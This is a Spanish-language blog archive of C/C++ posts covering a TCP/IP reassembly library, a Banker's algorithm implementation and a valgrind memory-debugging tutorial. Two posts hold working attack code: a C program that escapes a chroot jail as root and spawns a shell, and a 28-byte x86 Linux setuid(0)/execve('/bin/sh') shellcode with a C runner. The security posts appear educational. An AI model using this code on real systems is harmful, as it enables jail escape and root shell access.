Category Archives: C/C++

libntoh @ GitHub

Hace mucho tiempo que no escribo, y esta vez lo hago para presentar un proyecto personal que he decidido publicar.

Este proyecto es una librería escrita en C, que pretende agregar una capa más para determinadas aplicaciones de red, agregando las funcionalidades de desfragmentación de datagramas IPv4 y reensamblado de segmentos TCP.

El motivo que me ha llevado a escribir y publicar esta librería, es que las posibles opciones que se toman cuando se intentan realizar estas tareas son usar libnids o escribir una implementación propia. Esto no es problema para una sola aplicación, pero extrapolando el “problema” tenemos muchas implementaciones diferentes que realizan la misma tarea. En el caso de libnids, el primer problema viene con la licencia (GPL), otro problema viene con la concurrencia, otro inconveniente es la poca flexibilidad que ofrece (a costa de intentar dar usabilidad al usuario), ya que si usamos libnids obligatoriamente no podremos salirnos de las capas de enlace soportadas por la librería, no podremos gestionar las conexiones de manera individual, etc.

Por todo esto y algunos motivos más, me decidí a comenzar este proyecto. Aunque la versión actual (0.3a) es una “Alpha” se comporta bastante bien según las pruebas que he realizado, realizando correctamente  el reensamblado de segmentos TCP y la desfragmentación de datagramas IPv4.

Dado que es una versión “Alpha” puede que tenga fallos, así que si encuentras alguno o ves alguna incongruencia, ¡notifícala!.

URL: libntoh@github libntoh@freecode

Bypassing Chroot

Con la excusa de llevar mucho tiempo sin escribir ninguna entrada, aprovecho para decir que ya se ha inaugurado el blog de elhacker.net (blog.elhacker.net).

La primera entrada, de la mano de Kamsky habla sobre jaulas chroot, y algunos métodos para saltarnos esta medida de prevención.

El artículo original: http://blog.elhacker.net/2010/03/jaulas-chroot.html

Aquí adjunto el código retocado para salir del chroot siendo root:

/*
Chema Garcia (a.k.a. sch3m4)

sch3m4@opensec.es

http://opensec.es

*/

#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <pwd.h>

#define FOLDER      "chbrk"
#define PERM        0700
#define MAX_CHDIR   200

#define SHELL       "/bin/sh"

int main()
{
    int           fd;
    struct stat   statf;
    ino_t         aux;
    unsigned int  cont;
    struct passwd *owner;
    char          *directory;

    if(getuid()!=0)
    {
        fprintf(stderr,"\nThis program cannot work without root privileges\n");
        return -1;
    }

    fd=open(".",O_RDONLY);
    mkdir(FOLDER,PERM);
    chroot(FOLDER);
    fchdir(fd);
    close(fd);

    aux=0;
    cont=0;
    while(!stat(".",&statf) && aux!=statf.st_ino && cont++ < MAX_CHDIR)
    {
        aux=statf.st_ino;
        chdir("..");
    }

    if(aux==statf.st_ino)
    {
        chroot(".");
        owner=getpwuid(statf.st_uid);

        directory=getcwd(0,0);
        fprintf(stderr,"\n+=[ Done! ]=+\n");
        fprintf(stderr,"\n+ Directory:  %s",directory);
        fprintf(stderr,"\n+ Inode:      %d",(int)statf.st_ino);
        fprintf(stderr,"\n+ Owner:      id=%d (%s) / gid=%d \n\n",owner->pw_uid,owner->pw_name,owner->pw_gid);
        free(directory);

        execl(SHELL,(char*)0,(char*)0);
    }

   return 0;
}

Y la url a pastebin: http://pastebin.com/su0wsDer

Algoritmo del Banquero – Implementacion (C)

Hace poco tiempo tuve que hacer una implementación del Algoritmo del Banquero usado en SSOO, aquí os dejo un extracto de la Wikipedia y el enlace al código:

http://es.wikipedia.org/wiki/Algoritmo_del_banquero

El Algoritmo del banquero, en sistemas operativos es una forma de evitar el interbloqueo, propuesta por primera vez por Edsger Dijkstra. Es un acercamiento teórico para evitar los interbloqueos en la planificación de recursos. Requiere conocer con anticipación los recursos que serán utilizados por todos los procesos. Esto último generalmente no puede ser satisfecho en la práctica.

Este algoritmo usualmente es explicado usando la analogía con el funcionamiento de un banco. Los clientes representan a los procesos, que tienen un crédito límite, y el dinero representa a los recursos. El banquero es el sistema operativo.

El banco confía en que no tendrá que permitir a todos sus clientes la utilización de todo su crédito a la vez. El banco también asume que si un cliente maximiza su crédito será capaz de terminar sus negocios y retornar el dinero de vuelta a la entidad, permitiendo servir a otros clientes.

El algoritmo mantiene al sistema en un estado seguro. Un sistema se encuentra en un estado seguro si existe un orden en que pueden concederse las peticiones de recursos a todos los procesos, previniendo el interbloqueo. El algoritmo del banquero funciona encontrando estados de este tipo.

Los procesos piden recursos, y son complacidos siempre y cuando el sistema se mantenga en un estado seguro después de la concesión. De lo contrario, el proceso es suspendido hasta que otro proceso libere recursos suficientes.

En términos más formales, un sistema se encuentra en un estado seguro si existe una secuencia segura. Una secuencia segura es una sucesión de procesos, < P1,…, Pn > , donde para un proceso Pi, el pedido de recursos puede ser satisfecho con los recursos disponibles sumados los recursos que están siendo utilizados por Pj, donde j < i. Si no hay suficientes recursos para el proceso Pi, debe esperar hasta que algún proceso Pj termine su ejecución y libere sus recursos. Recién entonces podrá Pi tomar los recursos necesarios, utilizarlos y terminar su ejecución. Al suceder esto, el proceso Pi+1 puede tomar los recursos que necesite, y así sucesivamente. Si una secuencia de este tipo no existe, el sistema se dice que está en un estado inseguro, aunque esto no implica que esté bloqueado.

Así, el uso de este tipo de algoritmo permite impedir el interbloqueo, pero supone una serie de restricciones:

  • Se debe conocer la máxima demanda de recursos por anticipado.
  • Los procesos deben ser independientes, es decir que puedan ser ejecutados en cualquier orden. Por lo tanto su ejecución no debe estar forzada por condiciones de sincronización.
  • Debe haber un número fijo de recursos a utilizar y un número fijo de procesos.
  • Los procesos no pueden finalizar mientras retengan recursos.

Descarga

Análisis dinámico de ejecutables en GNU/Linux

Normalmente, cuando estamos desarrollando una aplicación y queremos depurarla para ver una descripción más detallada de los posibles errores, solemos usar GDB (GNU Debugger), para hacer una traza de las llamadas a rutinas, ver el contenido de la pila, registros, etc.

Todo este procedimiento está muy bien para subsanar errores, pero ¿y si lo que queremos no es solo subsanar errores sino que además queremos optimizar nuestra aplicación? Es bien sabido que se le pueden pasar ciertos parámetros al compilador para ayudarnos en esta tarea (optimización de código en tamaño y velocidad, uso variables no inicializadas, errores/warnings de conversión de tipos, arquitectura, estándares, etc.) pero ¿qué hay de la gestión que realiza nuestra aplicación de la memoria dinámica? Además de que por accidente reservemos menos memoria de la que necesitamos (olvidando un “+1″ en algún calloc) que puede no fallar siempre, y que hará que nos dejemos los ojos buscando el error, puede que olvidemos un free que puede “no tener importancia”, pero que después de un tiempo de ejecución el sistema se ralentiza y la aplicación nos suelta un precioso mensaje de “Violación de segmento”.

Para analizar todos estos problemas en tiempo de ejecución, existe una herramienta de análisis y depuración dinámica para las plataformas “X86/Linux, AMD64/Linux, PPC32/Linux, PPC64/Linux.” (*BSD??), llamada “valgrind“.

Veamos un ejemplo con el siguiente programa:

#include <stdlib.h>

int main()
{
        char *x=calloc(10,sizeof(char));
        return 0;
}

Para que valgrind sea capaz de darnos una información más detallada, vamos a compilar este programa con la opción “-g” de gcc para incluir los símbolos.

Analizamos con valgrind:

$ valgrind ./p1
==30042== Memcheck, a memory error detector.
==30042== Copyright (C) 2002-2007, and GNU GPL’d, by Julian Seward et al.
==30042== Using LibVEX rev 1854, a library for dynamic binary translation.
==30042== Copyright (C) 2004-2007, and GNU GPL’d, by OpenWorks LLP.
==30042== Using valgrind-3.3.1-Debian, a dynamic binary instrumentation framework.
==30042== Copyright (C) 2000-2007, and GNU GPL’d, by Julian Seward et al.
==30042== For more details, rerun with: -v
==30042==
==30042==
==30042== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 13 from 1)
==30042== malloc/free: in use at exit: 10 bytes in 1 blocks.
==30042== malloc/free: 1 allocs, 0 frees, 10 bytes allocated.
==30042== For counts of detected errors, rerun with: -v
==30042== searching for pointers to 1 not-freed blocks.
==30042== checked 59,868 bytes.
==30042==
==30042== LEAK SUMMARY:
==30042==    definitely lost: 10 bytes in 1 blocks.
==30042==      possibly lost: 0 bytes in 0 blocks.
==30042==    still reachable: 0 bytes in 0 blocks.
==30042==         suppressed: 0 bytes in 0 blocks.
==30042== Rerun with –leak-check=full to see details of leaked memory.

Inicialmente, nos informa de que hemos reservado 10 bytes que no han sido liberados antes de finalizar el programa. Ahora ejecutaremos valgrind con la opción “–leak-check=full” para mayor información, y además de la información anterior, nos dice:

==30171== 10 bytes in 1 blocks are definitely lost in loss record 1 of 1
==30171==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==30171==    by 0x80483C8: main (p1.c:5)

Este ejemplo es muy básico, y solo nos muestra un mensaje de error, así que ahora vamos a provocar un error menos evidente colocando correctamente las llamadas a free:

#include <stdio.h>
#include <stdlib.h>

int main()
{
	char *p[6];
	int i,j;

	for(i=0;i<sizeof(p)/sizeof(*p);i++)
	{
		p[i]=(char*)calloc(sizeof(p)/sizeof(*p),sizeof(char));
		for(j=0;j<sizeof(p)/sizeof(*p);j++)
			p[i][j]='a';
		p[i][sizeof(p)/sizeof(*p)]='B';
		printf("%s\n",p[i]);
		free(p[i]);
	}

	return 0;
}

Aparentemente parece que todo está bien, incluso si lo compilamos y ejecutamos, lo más probable es que tengamos los printf`s esperados, así que compilando de nuevo con la opción “-g” vamos a ver qué dice valgrind:

$ valgrind –leak-check=full ./p1
==32101== Invalid write of size 1
==32101==    at 0×8048469: main (p1.c:14)
==32101==  Address 0x419002e is 0 bytes after a block of size 6 alloc’d
==32101==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==32101==    by 0×8048435: main (p1.c:11)
==32101==
==32101== Invalid read of size 1
==32101==    at 0×4024483: strlen (mc_replace_strmem.c:242)
==32101==    by 0×4094604: puts (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0x804847A: main (p1.c:15)
==32101==  Address 0x419002e is 0 bytes after a block of size 6 alloc’d
==32101==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==32101==    by 0×8048435: main (p1.c:11)
==32101==
==32101== Invalid read of size 1
==32101==    at 0x40A0C38: _IO_default_xsputn (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0x409DCB0: _IO_file_xsputn (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0×4094692: puts (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0x804847A: main (p1.c:15)
==32101==  Address 0x419002e is 0 bytes after a block of size 6 alloc’d
==32101==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==32101==    by 0×8048435: main (p1.c:11)
aaaaaaB
==32101==
==32101== Invalid read of size 1
==32101==    at 0x409DADC: _IO_file_xsputn (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0×4094692: puts (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0x804847A: main (p1.c:15)
==32101==  Address 0×4190066 is 0 bytes after a block of size 6 alloc’d
==32101==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==32101==    by 0×8048435: main (p1.c:11)
==32101==
==32101== Invalid read of size 1
==32101==    at 0x409DA6B: _IO_file_xsputn (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0×4094692: puts (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0x804847A: main (p1.c:15)
==32101==  Address 0×4190066 is 0 bytes after a block of size 6 alloc’d
==32101==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==32101==    by 0×8048435: main (p1.c:11)
aaaaaaB
aaaaaaB
aaaaaaB
aaaaaaB
aaaaaaB
==32101==
==32101== ERROR SUMMARY: 29 errors from 5 contexts (suppressed: 13 from 1)
==32101== malloc/free: in use at exit: 0 bytes in 0 blocks.
==32101== malloc/free: 6 allocs, 6 frees, 36 bytes allocated.
==32101== For counts of detected errors, rerun with: -v
==32101== All heap blocks were freed — no leaks are possible.

Según valgrind, tenemos errores en las lineas 11 y 15:

11: p[i]=(char*)calloc(sizeof(p)/sizeof(*p),sizeof(char));
15: printf("%s\n",p[i]);

Aunque todo parece estar bien, el error no está en esas líneas, sino que en esas líneas es donde se produce el error. Si se revisan las posiciones del array “p” y los accesos a sus posiciones,  vemos que en la linea 14 estamos accediendo a:

14: p[i][sizeof(p)/sizeof(*p)]='B';

Vamos a verlo de otra manera, reemplazamos “sizeof(p)/sizeof(*p)” por el número ’6′ para hacer el asunto más evidente:

11: p[i]=(char*)calloc(6,sizeof(char));
14: p[i][6]='B';

Se ve claro que la última posición del array ‘p[i]‘ no es 6 sino 5, por tanto al recorrer el array y asignar a cada una de sus posiciones un valor distinto de nulo, incluso en la posición 6 que está fuera del array:

12: for(j=0;j<6;j++)
13:	p[i][j]='a';
14: p[i][6]='B';

La llamada a “printf” fallará al calcular la longitud del array, ya que buscará un carácter nulo fuera de los límites del array, y esto es de lo que nos advierte valgrind. El código correcto en este caso sería:

#include <stdio.h>
#include <stdlib.h>

int main()
{
	char *p[6];
	int i,j;

	for(i=0;i<sizeof(p)/sizeof(*p);i++)
	{
		p[i]=(char*)calloc(sizeof(p)/sizeof(*p),sizeof(char));
		for(j=0;j<sizeof(p)/sizeof(*p);j++)
			p[i][j]='a';
		p[i][sizeof(p)/sizeof(*p)-1]=0;
		printf("%s\n",p[i]);
		free(p[i]);
	}

	return 0;
}

Por supuesto valgrind no está limitado a los casos que he planteado, a su vez puede cargar varias herramientas a modo de plugins para ayudarnos en el análisis (simulación de memoria caché, gráficos de llamadas, heap profiler, etc.).

Más información sobre valgrind:

http://www.valgrind.org/
http://en.wikipedia.org/wiki/Valgrind

Smallest GNU/Linux x86 setuid(0) & exec(“/bin/sh”,0,0) Stable shellcode – 28 bytes

Después de todo lo que hemos hecho, vlan7 me avisó de que las shellcodes anteriores sobre las que habíamos estado trabajando, estaban mal escrita, ya que ambos estábamos metiendo el uid de la llamada setuid en el registro ecx, en lugar de ebx…. Un fallo sin perdón, sin duda.

Así que después de meditarlo bien, retocar la shellcode, probarla en diferentes entornos, modificando la pila, los registros, etc. He llegado a esta shellcode estable de 28 bytes que realiza corréctamente ambas llamadas, setuid & execve:

Código para nasm:

global _start
section .text
_start:
;setuid(0)
xor ebx,ebx
lea eax,[ebx+17h]
cdq
int 80h
;execve("/bin/sh",0,0)
xor ecx,ecx
push ecx
push 0x68732f6e
push 0x69622f2f
lea eax,[ecx+0Bh]
mov ebx,esp
int 80h

Código en C:

#include 

const char shellcode[]= "\x31\xdb"
			"\x8d\x43\x17"
			"\x99"
			"\xcd\x80"
			"\x31\xc9"
			"\x51"
			"\x68\x6e\x2f\x73\x68"
			"\x68\x2f\x2f\x62\x69"
			"\x8d\x41\x0b"
			"\x89\xe3"
			"\xcd\x80";

int main()
{
	printf("\nSMALLEST SETUID & EXECVE GNU/LINUX x86 STABLE SHELLCODE"
			"WITHOUT NULLS THAT SPAWNS A SHELL"
			"\n\nCoded by Chema Garcia (aka sch3m4)"
			"\n\t + sch3m4@opensec.es"
			"\n\t + http://opensec.es"
			"\n\n[+] Date: 29/11/2008"
			"\n[+] Thanks to: vlan7"
			"\n\n[+] Shellcode Size: %d bytes\n\n",
			sizeof(shellcode)-1);

	(*(void (*)()) shellcode)();

	return 0;
}